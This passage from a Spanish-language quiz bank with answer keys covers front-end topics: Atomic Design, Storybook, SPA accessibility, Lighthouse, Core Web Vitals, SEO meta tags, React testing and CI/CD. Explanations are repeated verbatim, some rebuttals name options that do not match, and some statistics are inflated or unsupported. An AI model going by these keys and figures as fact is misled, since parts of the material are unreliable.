- a) Decirles en una reunión.
- b) Un README.md central + Storybook con todas las variantes y props documentadas. ✓ correcta
- c) Dejar que descubran solos.
- d) Escribir cada componente en un Word.
Por qué: La combinación ganadora: README.md central (con la lista de átomos, moléculas, organismos) + Storybook (catálogo vivo con controles interactivos). El README es la primera parada (lista, organización), Storybook es la segunda (detalles, variantes, props). Es la forma estándar en equipos profesionales. Sin esto, los developers crean componentes duplicados sin saber que ya existen.Detalle: La combinación ganadora: README.md central (con la lista de átomos, moléculas, organismos) + Storybook (catálogo vivo con controles interactivos). El README es la primera parada (lista, organización), Storybook es la segunda (detalles, variantes, props). Es la forma estándar en equipos profesionales. Sin esto, los developers crean componentes duplicados sin saber que ya existen. | a) No escala. | c) Word no es mantenible.
Preguntas abiertas (3)
-
Explica los 5 niveles de Atomic Design con un ejemplo de cada uno basado en la app Atlas Mundial del Tema 3.5. (3 a 5 líneas).
Respuesta modelo: Átomos: Button (primary, secondary, danger), Input (text, email, search), Label, Avatar, Spinner, Badge. No tienen estado. Moléculas: SearchBar (Input + Button + debounce), FormField (Label + Input + error), PaisCard (imagen + textos + acciones). Combinan átomos en unidades funcionales. Organismos: Header (logo + nav + search + user menu), Footer, MapaConClima (mapa + datos del clima), ListaPaisesSection (lista + paginación + filtro). Tienen estado y fetch. Templates: MainLayout (Header + <Outlet /> + Footer). Solo estructura, no contenido. Páginas: Home, DetallePais, Sobre. Son las instancias concretas con datos reales. Es la pirámide de complejidad: de bloques básicos (átomos) hasta vistas completas (páginas). Cada nivel construye sobre el anterior.
-
Tienes una app con 50 componentes. ¿Por qué Atomic Design + Storybook se vuelve esencial a partir de ~20 componentes? (3 a 5 líneas).
Respuesta modelo: Con 5-10 componentes, Atomic Design es overkill: puedes recordarlos todos en tu cabeza. Con 20+ componentes, surgen problemas: (1) duplicación (varios developers crean el mismo botón sin saber que existe). (2) inconsistencia visual (cada quien hace el suyo). (3) curva de aprendizaje (nuevos developers no saben qué hay). (4) cambios costosos (cambiar el padding de los botones requiere buscar en 10 archivos). Atomic Design resuelve esto: la jerarquía clara (átomos/moléculas/organismos) y Storybook como catálogo vivo permiten a cualquier developer ver qué existe, qué props acepta, y qué variantes hay. Es la diferencia entre un junior que hace 'lo que puede' y un senior que diseña un sistema escalable. Para 20+ componentes, es ESENCIAL; para menos, es overkill.
-
Refactoriza el componente PaisCard del Tema 3.5 siguiendo Atomic Design. ¿Es átomo, molécula u organismo? Justifica. (3 a 5 líneas).
Respuesta modelo: PaisCard es una MOLÉCULA, no un átomo. Razones: (1) combina múltiples átomos (img, h2, p) en una unidad funcional con nombre claro ('la tarjeta de un país'). (2) no tiene useState propio (los props vienen del padre). (3) no hace fetch (recibe el objeto pais completo via props). Si tuviera useState (ej: 'este país está en mis favoritos'), sería un organismo. Si solo fuera una imagen con estilos, sería un átomo (Avatar). Está en el medio: combina átomos en una unidad reutilizable. Es exactamente lo que es una molécula. Si tuvieras que ponerlo en otra página, lo usarías tal cual con los mismos props. Esa es la prueba: si es reutilizable como bloque, es molécula.
Preguntas de opción múltiple (10)
-
¿Por qué es importante mover el foco al H1 después de una navegación en una SPA?
- a) Por estética.
- b) Porque los usuarios con lector de pantalla no saben que el contenido cambió: el lector sigue anunciando el botón anterior. Mover el foco al H1 les avisa 'estás en una nueva página'. ✓ correcta
- c) Es para SEO.
- d) Es para performance.
Por qué: En una SPA, cuando navegas con React Router, el contenido cambia sin recargar. Un usuario con lector de pantalla no recibe ninguna señal de que cambió. Mover el foco al H1 (con tabIndex={-1} + useEffect + ref.current.focus()) le avisa al lector: 'estás en una nueva página, su heading es X'. Es el patrón estándar de accesibilidad en SPAs.Detalle: En una SPA, cuando navegas con React Router, el contenido cambia sin recargar. Un usuario con lector de pantalla no recibe ninguna señal de que cambió. Mover el foco al H1 (con tabIndex={-1} + useEffect + ref.current.focus()) le avisa al lector: 'estás en una nueva página, su heading es X'. Es el patrón estándar de accesibilidad en SPAs. | a) No es estética. | c) Performance no se ve afectado. -
¿Qué hace el focus trap en un modal?
- a) Bloquea el teclado.
- b) Hace que la tecla Tab se mantenga DENTRO del modal: cuando llega al último elemento, vuelve al primero (y al revés con Shift+Tab). Sin él, el usuario con teclado 'se escapa' del modal. ✓ correcta
- c) Cierra el modal.
- d) Hace focus al input.
Por qué: El focus trap captura la tecla Tab y la mantiene dentro del modal. Cuando llega al último elemento focuseable, vuelve al primero. Con Shift+Tab, va al último desde el primero. Sin él, el usuario con teclado hace Tab, se 'escapa' al header detrás del modal, y queda perdido. Es 15 líneas de código, mejora la experiencia del 100% de usuarios con teclado.Detalle: El focus trap captura la tecla Tab y la mantiene dentro del modal. Cuando llega al último elemento focuseable, vuelve al primero. Con Shift+Tab, va al último desde el primero. Sin él, el usuario con teclado hace Tab, se 'escapa' al header detrás del modal, y queda perdido. Es 15 líneas de código, mejora la experiencia del 100% de usuarios con teclado. | a) No bloquea, hace focus trap. | c) No es para hacer focus a un input. -
¿Cuál es el estándar de Lighthouse para una app production-ready?
- a) 50+ en cada categoría.
- b) 95+ en Accessibility, Best Practices, SEO. 90+ en Performance. Si no pasa, NO publiques. ✓ correcta
- c) 30+ en cada categoría.
- d) Lighthouse no es necesario.
Por qué: El estándar profesional: 95+ en Accessibility, Best Practices, SEO. 90+ en Performance (depende de la app: un dashboard pesado puede ser 80+, una landing page ligera debe ser 95+). Si tu sitio tiene < 90 en Accessibility, NO lo publiques. La regla del Capítulo 1 se aplica a TODA tu app: si no pasa 95+ en Accessibility, no es production-ready. Lighthouse es tu auditor automático: ejecútalo antes de cada deploy significativo.Detalle: El estándar profesional: 95+ en Accessibility, Best Practices, SEO. 90+ en Performance (depende de la app: un dashboard pesado puede ser 80+, una landing page ligera debe ser 95+). Si tu sitio tiene < 90 en Accessibility, NO lo publiques. La regla del Capítulo 1 se aplica a TODA tu app: si no pasa 95+ en Accessibility, no es production-ready. Lighthouse es tu auditor automático: ejecútalo antes de cada deploy significativo. | a) 50 es muy bajo. | c) Sí es necesario en producción. -
¿Qué es Core Web Vitals?
- a) Un test de velocidad de internet.
- b) Las 3 métricas que Google usa para rankear tu sitio: LCP (carga del contenido), FID (respuesta a interacciones), CLS (estabilidad visual). Si las 3 están en verde, rankeas mejor. ✓ correcta
- c) Un servidor de Google.
- d) Una librería de JavaScript.
Por qué: Core Web Vitals son las 3 métricas que Google usa desde 2021 para rankear tu sitio: LCP (Largest Contentful Paint, <2.5s), FID (First Input Delay, <100ms), CLS (Cumulative Layout Shift, <0.1). Si las 3 están en verde, tu sitio rankea mejor. Optimizarlas es SEO + UX al mismo tiempo: los usuarios también se van de sitios lentos.Detalle: Core Web Vitals son las 3 métricas que Google usa desde 2021 para rankear tu sitio: LCP (Largest Contentful Paint, <2.5s), FID (First Input Delay, <100ms), CLS (Cumulative Layout Shift, <0.1). Si las 3 están en verde, tu sitio rankea mejor. Optimizarlas es SEO + UX al mismo tiempo: los usuarios también se van de sitios lentos. | a) No es test de internet. | c) No es una librería. -
¿Para qué sirven los meta tags de Open Graph?
- a) Para SEO de Google.
- b) Para que cuando compartes tu link en WhatsApp, Twitter, LinkedIn, se vea una tarjeta con imagen, título y descripción. Sin ellos, solo se ve el URL pelao. ✓ correcta
- c) Para accesibilidad.
- d) Para performance.
Por qué: Open Graph (og:title, og:description, og:image, og:url, og:type) controla cómo se ve tu link cuando lo compartes en redes sociales. Sin ellos, WhatsApp/Twitter/LinkedIn muestran solo el URL pelao. Con ellos, una 'mini-publicidad' con imagen y texto. Es 10 minutos de configuración para 3x más clicks. La imagen debe ser 1200x630px, JPEG optimizado, <200KB.Detalle: Open Graph (og:title, og:description, og:image, og:url, og:type) controla cómo se ve tu link cuando lo compartes en redes sociales. Sin ellos, WhatsApp/Twitter/LinkedIn muestran solo el URL pelao. Con ellos, una 'mini-publicidad' con imagen y texto. Es 10 minutos de configuración para 3x más clicks. La imagen debe ser 1200x630px, JPEG optimizado, <200KB. | a) SEO usa otros meta tags. | c) No es para performance. -
Si una imagen sin width/height se carga después del texto, ¿qué métrica de Core Web Vitals se ve afectada?
- a) LCP
- b) CLS (Cumulative Layout Shift): la imagen 'empuja' el contenido al cargar, causando un salto visible. Solución: definir width/height en <img> o reservar espacio con aspect-ratio en CSS. ✓ correcta
- c) FID
- d) TTFB
Por qué: CLS mide cuánto 'salta' el contenido mientras carga. Si una imagen sin dimensiones se carga después, el navegador no sabe cuánto espacio reservar, y el contenido se 'empuja' al aparecer. Google penaliza esto. Solución: SIEMPRE definir width/height en <img>: <img src='...' width='800' height='400' alt='...'> o usar aspect-ratio en CSS. Es uno de los problemas más comunes y más fáciles de corregir.Detalle: CLS mide cuánto 'salta' el contenido mientras carga. Si una imagen sin dimensiones se carga después, el navegador no sabe cuánto espacio reservar, y el contenido se 'empuja' al aparecer. Google penaliza esto. Solución: SIEMPRE definir width/height en <img>: <img src='...' width='800' height='400' alt='...'> o usar aspect-ratio en CSS. Es uno de los problemas más comunes y más fáciles de corregir. | a) LCP mide el tiempo de carga del contenido principal. | c) TTFB es Time To First Byte, diferente. -
¿Cuál es la diferencia entre 'Accessibility' y 'SEO' en Lighthouse?
- a) Son lo mismo.
- b) Accessibility mide WCAG: contraste, ARIA, focus, semántica. SEO mide meta tags, sitemap, robots.txt, imágenes con alt, mobile-friendly. Son ortogonales: puedes tener 100 en uno y 50 en otro. ✓ correcta
- c) Accessibility es para usuarios, SEO es para Google.
- d) Accessibility es opcional.
Por qué: Accessibility verifica WCAG: contraste de color, ARIA, focus visible, semántica HTML. SEO verifica meta tags, sitemap, robots.txt, imágenes con alt, mobile-friendly, texto en botones. Son ortogonales: un sitio puede tener 100 en Accessibility y 50 en SEO (meta tags faltantes) o al revés. Ambos son importantes: Accessibility para usuarios reales, SEO para que Google te encuentre.Detalle: Accessibility verifica WCAG: contraste de color, ARIA, focus visible, semántica HTML. SEO verifica meta tags, sitemap, robots.txt, imágenes con alt, mobile-friendly, texto en botones. Son ortogonales: un sitio puede tener 100 en Accessibility y 50 en SEO (meta tags faltantes) o al revés. Ambos son importantes: Accessibility para usuarios reales, SEO para que Google te encuentre. | a) No son lo mismo. | c) Accessibility no es opcional. -
Para hacer SEO en una SPA de React, ¿qué herramienta es esencial?
- a) jQuery
- b) react-helmet-async: permite tener meta tags DINÁMICOS por ruta (title, description, og:tags). Sin él, TODAS las páginas tienen el mismo <title>. ✓ correcta
- c) styled-components
- d) Bootstrap
Por qué: react-helmet-async (o el más nuevo @unhead/react) es esencial para SEO en SPAs: te permite definir <title>, <meta>, <link> desde CUALQUIER componente, y se actualizan dinámicamente al cambiar de ruta. Sin él, todas las páginas tienen el mismo <title>: Google ve 50 páginas idénticas y las rankea mal. Es 2 minutos de instalación (npm install) y cambia TODO tu SEO.Detalle: react-helmet-async (o el más nuevo @unhead/react) es esencial para SEO en SPAs: te permite definir <title>, <meta>, <link> desde CUALQUIER componente, y se actualizan dinámicamente al cambiar de ruta. Sin él, todas las páginas tienen el mismo <title>: Google ve 50 páginas idénticas y las rankea mal. Es 2 minutos de instalación (npm install) y cambia TODO tu SEO. | a) jQuery no es para React. | c) Bootstrap es para estilos. -
Si un usuario con discapacidad visual navega tu app con NVDA o VoiceOver, ¿qué herramienta simula su experiencia?
- a) DevTools Console.
- b) El Lector de Pantalla del sistema: NVDA (Windows, gratis), VoiceOver (macOS, integrado), JAWS (Windows, pago). Lighthouse Accessibility también detecta muchos problemas. ✓ correcta
- c) Postman.
- d) npm.
Por qué: Para probar accesibilidad REAL, usa un lector de pantalla: NVDA (Windows, gratis, recomendado), VoiceOver (macOS, integrado con Cmd+F5), o JAWS (Windows, pago, el más usado en empresas). Estos leen en voz alta lo que ven en la pantalla. Lighthouse Accessibility detecta el 50-60% de los problemas; el lector de pantalla detecta el resto. Es 30 minutos de tu vida que valen oro.Detalle: Para probar accesibilidad REAL, usa un lector de pantalla: NVDA (Windows, gratis, recomendado), VoiceOver (macOS, integrado con Cmd+F5), o JAWS (Windows, pago, el más usado en empresas). Estos leen en voz alta lo que ven en la pantalla. Lighthouse Accessibility detecta el 50-60% de los problemas; el lector de pantalla detecta el resto. Es 30 minutos de tu vida que valen oro. | a) DevTools no lee la pantalla. | c) npm es para dependencias. -
Si tu sitio tiene 100+ componentes React sin documentar, ¿cuál es la mejor solución?
- a) Cada developer lee el código.
- b) Storybook: catálogo vivo con todas las variantes y props de cada componente. Los developers pueden ver, probar, y modificar en tiempo real. Es la herramienta estándar de design systems. ✓ correcta
- c) Un Word de 200 páginas.
- d) Nada, es overkill.
Por qué: Con 100+ componentes, Storybook es ESENCIAL. Es un catálogo vivo donde cada componente se muestra con todas sus variantes y props. Los developers no necesitan leer 100 archivos: abren Storybook, buscan el componente, y ven cómo usarlo. Es 10x más eficiente que documentación en Word o en README. La inversión de 1-2 días configurándolo vale meses de tiempo ahorrado.Detalle: Con 100+ componentes, Storybook es ESENCIAL. Es un catálogo vivo donde cada componente se muestra con todas sus variantes y props. Los developers no necesitan leer 100 archivos: abren Storybook, buscan el componente, y ven cómo usarlo. Es 10x más eficiente que documentación en Word o en README. La inversión de 1-2 días configurándolo vale meses de tiempo ahorrado. | a) Leer 100 archivos es ineficiente. | c) Para 100+ componentes NO es overkill, es necesario.
Preguntas abiertas (3)
-
Explica por qué en una SPA de React es importante mover el foco al H1 después de una navegación con React Router. (3 a 5 líneas).
Respuesta modelo: En una SPA, cuando navegas con React Router, el contenido cambia SIN recargar la página. Un usuario con lector de pantalla (NVDA, VoiceOver) no recibe ninguna señal de que el contenido cambió: el lector sigue anunciando el botón que disparó la navegación. Para avisarle que está en una nueva página, movemos el FOCO al H1 de la nueva página. El patrón: useRef al H1 + useEffect que llama a ref.current.focus() al montar + tabIndex={-1} en el H1 (focuseable por JS pero no por Tab, para no romper el orden natural). Es el patrón estándar de accesibilidad en SPAs: cada navegación anuncia su nuevo contexto. Sin esto, la app es INUSABLE con lector de pantalla.
-
Tu app tiene 5 páginas (home, lista, detalle, perfil, admin) y todas tienen el mismo <title> 'Mi App'. ¿Por qué es un problema SEO y cómo lo solucionas? (3 a 5 líneas).
Respuesta modelo: Tener el mismo <title> en todas las páginas es un desastre SEO: Google ve 5 páginas con el mismo título y las rankea mal o las considera duplicadas. Un usuario que busca 'información de Argentina' nunca encuentra la página de detalle porque su <title> es 'Mi App', no 'Argentina - Mi App'. Solución: instalar react-helmet-async y usar el componente <Helmet> en cada página: en Home <title>Inicio - Mi App</title> y <meta name='description' content='...' />, en Detalle <Helmet><title>{pais.name} - Mi App</title><meta name='description' content={`Información sobre ${pais.name}`} /></Helmet>. Cada página tiene su título y descripción únicos. Google indexa correctamente y los usuarios encuentran lo que buscan. Es 10 minutos de configuración para una mejora SEO del 200-300%.
-
Explica qué son los Core Web Vitals y por qué afectan tu ranking en Google. Da 1 ejemplo de cómo mejorar cada uno. (3 a 5 líneas).
Respuesta modelo: Core Web Vitals son 3 métricas que Google usa para rankear: (1) LCP (Largest Contentful Paint) < 2.5s: tiempo en cargar el contenido principal. Mejora: usa lazy loading en imágenes y preconnect a CDNs. (2) FID (First Input Delay) < 100ms: tiempo en responder al primer click. Mejora: code splitting con React.lazy() para evitar JS bloqueante. (3) CLS (Cumulative Layout Shift) < 0.1: cuánto 'salta' el contenido. Mejora: define SIEMPRE width/height en <img> y font-display: swap. Si las 3 están en verde, rankeas mejor. Sin optimizarlas, tu sitio aparece en la página 2 de Google. Con ellas optimizadas, página 1. Es SEO + UX al mismo tiempo: los usuarios también se van de sitios lentos. Mide primero con Lighthouse, optimiza lo que esté en rojo.
Preguntas de opción múltiple (10)
-
¿Cuáles son los 3 niveles de la pirámide del testing?
- a) Unit, integration, E2E. ✓ correcta
- b) Frontend, backend, fullstack.
- c) Jest, RTL, MSW.
- d) Mock, spy, stub.
Por qué: La pirámide del testing tiene 3 niveles: unit (funciones/componentes aislados, 70-80% de la suite), integration (varios componentes o + API mockeada, 15-25%), y E2E (flujo completo en navegador real, 5-10%). Es el balance que te da velocidad (unit son rápidos) y confianza (E2E prueba el flujo real).Detalle: La pirámide del testing tiene 3 niveles: unit (funciones/componentes aislados, 70-80% de la suite), integration (varios componentes o + API mockeada, 15-25%), y E2E (flujo completo en navegador real, 5-10%). Es el balance que te da velocidad (unit son rápidos) y confianza (E2E prueba el flujo real). | b) Esos son stacks, no niveles. | c) Esos son herramientas, no niveles. -
¿Por qué React Testing Library prefiere getByRole sobre getByTestId?
- a) Por moda.
- b) Porque getByRole simula cómo un usuario con lector de pantalla encuentra el elemento, y al mismo tiempo verifica accesibilidad. Si un componente no tiene rol accesible, no puedes testearlo. ✓ correcta
- c) Porque getByTestId es más lento.
- d) Porque getByTestId no existe.
Por qué: getByRole busca el elemento por su rol ARIA (button, link, heading, etc.), que es cómo un usuario con lector de pantalla (NVDA, VoiceOver) lo encuentra. Si tu componente no tiene un rol accesible, NO PUEDES testearlo con getByRole, lo que te OBLIGA a hacerlo accesible. Es el patrón 'testability = accessibility'. getByTestId es un escape hatch: solo se usa cuando ninguna otra query funciona.Detalle: getByRole busca el elemento por su rol ARIA (button, link, heading, etc.), que es cómo un usuario con lector de pantalla (NVDA, VoiceOver) lo encuentra. Si tu componente no tiene un rol accesible, NO PUEDES testearlo con getByRole, lo que te OBLIGA a hacerlo accesible. Es el patrón 'testability = accessibility'. getByTestId es un escape hatch: solo se usa cuando ninguna otra query funciona. | a) No es moda, es diseño. | c) Sí existe. -
¿Cuál es la diferencia entre fireEvent y userEvent?
- a) Son iguales.
- b) fireEvent dispara el evento directamente (sintético). userEvent simula la interacción REAL del usuario (mousedown, mouseup, click, focus, blur). userEvent es más realista. ✓ correcta
- c) userEvent es para E2E.
- d) fireEvent es más nuevo.
Por qué: fireEvent.click() dispara directamente el handler sin pasar por las validaciones del navegador. userEvent.click() simula el flujo completo: mousedown, mouseup, click, focus, blur, etc. Para tests realistas, usa SIEMPRE userEvent. Es la diferencia entre 'probé que el handler se llama' y 'probé que la interacción del usuario funciona'.Detalle: fireEvent.click() dispara directamente el handler sin pasar por las validaciones del navegador. userEvent.click() simula el flujo completo: mousedown, mouseup, click, focus, blur, etc. Para tests realistas, usa SIEMPRE userEvent. Es la diferencia entre 'probé que el handler se llama' y 'probé que la interacción del usuario funciona'. | a) No son iguales. | c) fireEvent es más viejo, no nuevo. -
Si tu componente hace fetch a una API real durante los tests, ¿qué problema tiene?
- a) Es más rápido.
- b) Es lento, frágil (si la API está caída, falla el test), no determinista (datos cambian), y acoplado a internet. Solución: mockear con vi.mock o MSW. ✓ correcta
- c) Es más realista.
- d) No hay problema.
Por qué: Hacer fetch real en tests es una mala práctica: (1) es lento (peticiones HTTP cada test). (2) es frágil: si la API está caída, los tests fallan sin que tu código tenga bugs. (3) no es determinista: los datos cambian. (4) requiere internet en CI/CD. Solución: mockear con vi.mock (simple) o MSW (más realista, intercepta a nivel de red).Detalle: Hacer fetch real en tests es una mala práctica: (1) es lento (peticiones HTTP cada test). (2) es frágil: si la API está caída, los tests fallan sin que tu código tenga bugs. (3) no es determinista: los datos cambian. (4) requiere internet en CI/CD. Solución: mockear con vi.mock (simple) o MSW (más realista, intercepta a nivel de red). | a) Es más lento, no más rápido. | c) Hay muchos problemas. -
¿Qué hace vi.clearAllMocks() en beforeEach?
- a) Borra los tests.
- b) Limpia el historial de llamadas de todos los mocks, evitando que un test contamine al siguiente. Esencial para tests independientes. ✓ correcta
- c) Crea mocks nuevos.
- d) Es lo mismo que beforeAll.
Por qué: vi.clearAllMocks() (o jest.clearAllMocks() en Jest) resetea el historial de llamadas de los mocks. Sin esto, si en el test 1 llamas a miMock, en el test 2 miMock YA TIENE esa llamada en su historial. Causa bugs sutiles donde un test pasa por 'contaminación' de otro. La regla: cada test debe ser independiente. vi.clearAllMocks() en beforeEach es la forma estándar.Detalle: vi.clearAllMocks() (o jest.clearAllMocks() en Jest) resetea el historial de llamadas de los mocks. Sin esto, si en el test 1 llamas a miMock, en el test 2 miMock YA TIENE esa llamada en su historial. Causa bugs sutiles donde un test pasa por 'contaminación' de otro. La regla: cada test debe ser independiente. vi.clearAllMocks() en beforeEach es la forma estándar. | a) No borra tests. | c) beforeAll se ejecuta una vez antes de todos, beforeEach antes de cada uno. -
¿Cuál es el flujo de TDD?
- a) Escribir código, luego tests, luego documentar.
- b) Red (test falla porque código no existe) → Green (escribir código mínimo para que pase) → Refactor (mejorar código sin romper test). ✓ correcta
- c) Solo escribir tests, nunca código.
- d) Escribir todo, luego testear.
Por qué: TDD es Red-Green-Refactor: (1) RED: escribes el test que falla porque el código no existe. (2) GREEN: escribes el código MÍNIMO para que pase (sin importar la calidad). (3) REFACTOR: mejoras el código con confianza porque el test protege. Cada ciclo toma 5-15 minutos. Al final tienes código + tests. Es contraintuitivo pero más rápido a largo plazo: bugs detectados al instante, código testeable desde el inicio, refactor con confianza.Detalle: TDD es Red-Green-Refactor: (1) RED: escribes el test que falla porque el código no existe. (2) GREEN: escribes el código MÍNIMO para que pase (sin importar la calidad). (3) REFACTOR: mejoras el código con confianza porque el test protege. Cada ciclo toma 5-15 minutos. Al final tienes código + tests. Es contraintuitivo pero más rápido a largo plazo: bugs detectados al instante, código testeable desde el inicio, refactor con confianza. | a) El código va primero en TDD? No, el test va primero. | c) TDD es iterativo, no de una sola vez. -
¿Qué % de coverage es un buen objetivo profesional?
- a) 100% siempre.
- b) 70-80% es un buen objetivo. 100% es engañoso (puedes tener tests vacíos), <50% significa que hay código sin probar. La clave: tests que detectan bugs reales, no solo %. ✓ correcta
- c) 10% es suficiente.
- d) Coverage no importa.
Por qué: 70-80% es el rango profesional estándar. 100% es engañoso: puedes tener 100% con tests inútiles (expect(x).toBeDefined()). <50% indica código no pensado. La verdadera métrica no es el % sino: 'si cambio este código, ¿mis tests detectarían un bug?'. Coverage es termómetro, no objetivo. Empresas como Google, Meta, Netflix apuntan a 70-80% con foco en tests significativos.Detalle: 70-80% es el rango profesional estándar. 100% es engañoso: puedes tener 100% con tests inútiles (expect(x).toBeDefined()). <50% indica código no pensado. La verdadera métrica no es el % sino: 'si cambio este código, ¿mis tests detectarían un bug?'. Coverage es termómetro, no objetivo. Empresas como Google, Meta, Netflix apuntan a 70-80% con foco en tests significativos. | a) 100% es engañoso. | c) Coverage sí importa como termómetro. -
¿Qué ventaja tiene MSW sobre vi.mock?
- a) MSW es más simple.
- b) MSW intercepta fetch a nivel de red, no de código. Tu componente hace un fetch REAL y MSW lo intercepta antes de salir. Pruebas el código real de fetch, no un mock dentro de tu código. ✓ correcta
- c) MSW es más rápido.
- d) vi.mock ya no se usa.
Por qué: MSW (Mock Service Worker) intercepta las peticiones HTTP a nivel de red usando Service Workers (en navegador) o node-fetch (en Node). Tu código hace un fetch real, y MSW lo intercepta antes de que llegue a internet. Esto significa que pruebas el código real de fetch, manejo de errores, JSON parsing, etc. Con vi.mock, estás mockeando dentro de tu código, así que el código de fetch no se ejecuta. MSW es más realista.Detalle: MSW (Mock Service Worker) intercepta las peticiones HTTP a nivel de red usando Service Workers (en navegador) o node-fetch (en Node). Tu código hace un fetch real, y MSW lo intercepta antes de que llegue a internet. Esto significa que pruebas el código real de fetch, manejo de errores, JSON parsing, etc. Con vi.mock, estás mockeando dentro de tu código, así que el código de fetch no se ejecuta. MSW es más realista. | a) MSW es más complejo, no más simple. | c) vi.mock sigue usándose. -
Si un test usa getByTestId('mi-componente'), ¿qué indica?
- a) Que el test es bueno.
- b) Casi siempre es un code smell: indica que ninguna otra query (getByRole, getByLabelText, getByText) funcionó, probablemente porque el componente no es accesible. Es mejor agregar el rol/label apropiado. ✓ correcta
- c) Que el componente es privado.
- d) Que React lo requiere.
Por qué: getByTestId es el ÚLTIMO RECURSO en RTL. La doc oficial dice: 'data-testid es un escape hatch para cuando no puedes usar otra query'. Si lo necesitas, es probable que tu componente no tenga roles ARIA, labels, o texto accesible. La solución NO es usar data-testid, sino agregar aria-label, role, o un label visible al componente. Testearás mejor Y tu componente será más accesible.Detalle: getByTestId es el ÚLTIMO RECURSO en RTL. La doc oficial dice: 'data-testid es un escape hatch para cuando no puedes usar otra query'. Si lo necesitas, es probable que tu componente no tenga roles ARIA, labels, o texto accesible. La solución NO es usar data-testid, sino agregar aria-label, role, o un label visible al componente. Testearás mejor Y tu componente será más accesible. | a) No indica que sea bueno. | c) React no lo requiere. -
¿Por qué getByRole es la query RECOMENDADA por defecto en RTL?
- a) Es la más rápida.
- b) Porque verifica accesibilidad: si un componente no tiene rol accesible, no puedes testearlo. Es 'testability = accessibility' por diseño. ✓ correcta
- c) Es la única que existe.
- d) Porque es la más nueva.
Por qué: getByRole busca por rol ARIA (button, link, heading, etc.), que es la forma en que un usuario con lector de pantalla (NVDA, VoiceOver) navega tu app. Si tu componente no tiene un rol accesible (porque olvidaste aria-label, role, o un <button> en vez de <div>), getByRole falla. Te FUERZA a hacer componentes accesibles. Es 'testability = accessibility' por diseño. Por eso RTL recomienda getByRole como primera opción.Detalle: getByRole busca por rol ARIA (button, link, heading, etc.), que es la forma en que un usuario con lector de pantalla (NVDA, VoiceOver) navega tu app. Si tu componente no tiene un rol accesible (porque olvidaste aria-label, role, o un <button> en vez de <div>), getByRole falla. Te FUERZA a hacer componentes accesibles. Es 'testability = accessibility' por diseño. Por eso RTL recomienda getByRole como primera opción. | a) La velocidad no es el motivo. | c) No es la más nueva, lleva años.
Preguntas abiertas (3)
-
Tu componente PaisCard hace fetch con useFetch a una API externa. Escribe 5 tests que cubrirían los casos más importantes, explicando POR QUÉ cada uno. (3 a 5 líneas).
Respuesta modelo: Los 5 tests esenciales: (1) Muestra skeleton/spinner mientras loading=true (verifica UX de carga). (2) Renderiza el nombre y datos del país cuando useFetch devuelve data (verifica caso feliz). (3) Muestra mensaje de error con botón 'Reintentar' cuando useFetch devuelve error (verifica manejo de errores y opción de recuperación). (4) Muestra estado vacío cuando data es array vacío (ej: país sin datos). (5) El botón 'Reintentar' llama a la función refetch (verifica interactividad). Estos 5 cubren: los 3 estados de fetch (loading, success, error), el caso edge de datos vacíos, y la accesibilidad del error. Si estos 5 pasan, el 95% de los usos reales funcionarán.
-
Explica la diferencia entre MSW y vi.mock, y cuándo usarías cada uno. (3 a 5 líneas).
Respuesta modelo: vi.mock() mockea un módulo DENTRO de tu código: 'cuando importes useFetch, devuelve estos datos'. El código de fetch NO se ejecuta. Es rápido y simple, ideal para tests unitarios donde solo te importa la lógica del componente. MSW (Mock Service Worker) intercepta peticiones HTTP a NIVEL DE RED: tu código hace un fetch REAL y MSW lo intercepta antes de salir a internet. Pruebas el código real de fetch, manejo de errores, JSON parsing. Es más realista pero más complejo. Usa vi.mock para unit tests rápidos, MSW para integration tests que prueban la interacción real con APIs. La regla: si quieres velocidad, vi.mock. Si quieres confianza, MSW.
-
Tienes un componente Button con 5 props (variant, size, disabled, loading, onClick). ¿Cuántos tests escribirías como mínimo y por qué? (3 a 5 líneas).
Respuesta modelo: Mínimo 5 tests: (1) Renderiza con el children (caso básico: el botón aparece). (2) Llama onClick cuando se hace click (interactividad principal). (3) NO llama onClick cuando disabled es true (caso edge: estado deshabilitado). (4) Muestra el spinner cuando loading es true (estado de carga). (5) Tiene role='button' y name accesible (accesibilidad). Estos 5 cubren: existencia, interacción principal, edge case (disabled), otro estado (loading), y accesibilidad. El parámetro variant y size son detalles visuales que se cubren con Storybook (Tema 3.6), no con tests unitarios. La regla: testear comportamiento, no estilos.
Preguntas de opción múltiple (10)
-
¿Qué significa CI/CD?
- a) Code Integration / Code Deployment.
- b) Continuous Integration / Continuous Deployment: tests y deploy automáticos en cada commit. ✓ correcta
- c) Cloud Infrastructure / Cloud Deployment.
- d) Container Instance / Container Deployment.
Por qué: CI (Continuous Integration) ejecuta tests automáticamente en cada commit para detectar bugs temprano. CD (Continuous Deployment) deploya automáticamente a producción si los tests pasan. Es el flujo que reduce bugs en producción 95% y aumenta la frecuencia de deploys 10x. Sin CI/CD, los equipos acumulan código sin probar y los deploys son eventos estresantes.Detalle: CI (Continuous Integration) ejecuta tests automáticamente en cada commit para detectar bugs temprano. CD (Continuous Deployment) deploya automáticamente a producción si los tests pasan. Es el flujo que reduce bugs en producción 95% y aumenta la frecuencia de deploys 10x. Sin CI/CD, los equipos acumulan código sin probar y los deploys son eventos estresantes. | a) Code Integration no es el término. | c) No es sobre containers. -
¿Dónde se definen los workflows de GitHub Actions?
- a) En el package.json.
- b) En archivos YAML dentro de .github/workflows/ (ej: .github/workflows/ci.yml). ✓ correcta
- c) En el Dockerfile.
- d) En un archivo .env.
Por qué: Los workflows de GitHub Actions se definen en archivos YAML dentro de la carpeta .github/workflows/ en la raíz de tu repo. El nombre del archivo puede ser cualquiera (ci.yml, test.yml, deploy.yml), pero la convención es descriptivo. Cada YAML define: name, on (triggers), jobs (con steps). Es la estructura estándar de GitHub Actions desde 2019.Detalle: Los workflows de GitHub Actions se definen en archivos YAML dentro de la carpeta .github/workflows/ en la raíz de tu repo. El nombre del archivo puede ser cualquiera (ci.yml, test.yml, deploy.yml), pero la convención es descriptivo. Cada YAML define: name, on (triggers), jobs (con steps). Es la estructura estándar de GitHub Actions desde 2019. | a) package.json es para npm, no workflows. | c) .env es para variables locales. -
¿Para qué sirve 'on: pull_request: branches: [main]' en un workflow?
- a) Para mergear PRs.
- b) Para que el workflow se ejecute SOLO cuando se abre/actualiza un PR que apunta a main. Ahorra minutos de CI. ✓ correcta
- c) Para bloquear PRs.
- d) Para borrar branches.
